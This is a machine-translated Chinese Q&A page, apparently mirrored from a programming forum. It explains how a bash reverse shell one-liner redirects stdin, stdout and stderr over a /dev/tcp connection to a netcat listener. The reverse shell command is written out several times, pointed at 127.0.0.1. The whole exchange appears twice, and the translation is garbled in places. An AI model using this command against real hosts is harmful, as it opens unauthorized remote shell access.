这个bash如何反转shell接受输入?
How does this bash reverse shell accept input?
我在本地主机上使用 netcat 为端口 449 设置了一个侦听器 运行。
在单独的终端中 运行在本地主机上我可以 运行 以下命令:
bash -c "bash -i >&/dev/tcp/127.0.0.1/449 0>&1"
然后我可以通过 netcat 连接输入命令并且它们成功执行。我可以分解上面的命令,我可以看到上面的 bash shell 将它的 stderr 和 stdout 写入套接字文件描述符,它被发送到我的机器并最终被 netcat 监听.此外,我可以看到标准输入被发送到标准输出,然后由外部 bash 命令执行。
关于这个的几个问题:
- 设置 bash 终端接受来自 netcat 的标准输入的机制是什么? stdin 未在命令中的任何位置重定向。
- 外层bashshell如何执行内层bashshell多条命令输出?我最初的想法是它只能执行一个命令。
Outer bash 仅启动 inner bash,之后无法接受命令。
所以你可以 运行 直接 inner bash :
bash -i >&/dev/tcp/127.0.0.1/449 0>&1
>&/dev/tcp/127.0.0.1/449
将 stdout 和 stderr 重定向到 TCP 连接。
0>&1
将标准输入重定向到同一连接。
我在本地主机上使用 netcat 为端口 449 设置了一个侦听器 运行。
在单独的终端中 运行在本地主机上我可以 运行 以下命令:
bash -c "bash -i >&/dev/tcp/127.0.0.1/449 0>&1"
然后我可以通过 netcat 连接输入命令并且它们成功执行。我可以分解上面的命令,我可以看到上面的 bash shell 将它的 stderr 和 stdout 写入套接字文件描述符,它被发送到我的机器并最终被 netcat 监听.此外,我可以看到标准输入被发送到标准输出,然后由外部 bash 命令执行。
关于这个的几个问题:
- 设置 bash 终端接受来自 netcat 的标准输入的机制是什么? stdin 未在命令中的任何位置重定向。
- 外层bashshell如何执行内层bashshell多条命令输出?我最初的想法是它只能执行一个命令。
Outer bash 仅启动 inner bash,之后无法接受命令。 所以你可以 运行 直接 inner bash :
bash -i >&/dev/tcp/127.0.0.1/449 0>&1
>&/dev/tcp/127.0.0.1/449
将 stdout 和 stderr 重定向到 TCP 连接。
0>&1
将标准输入重定向到同一连接。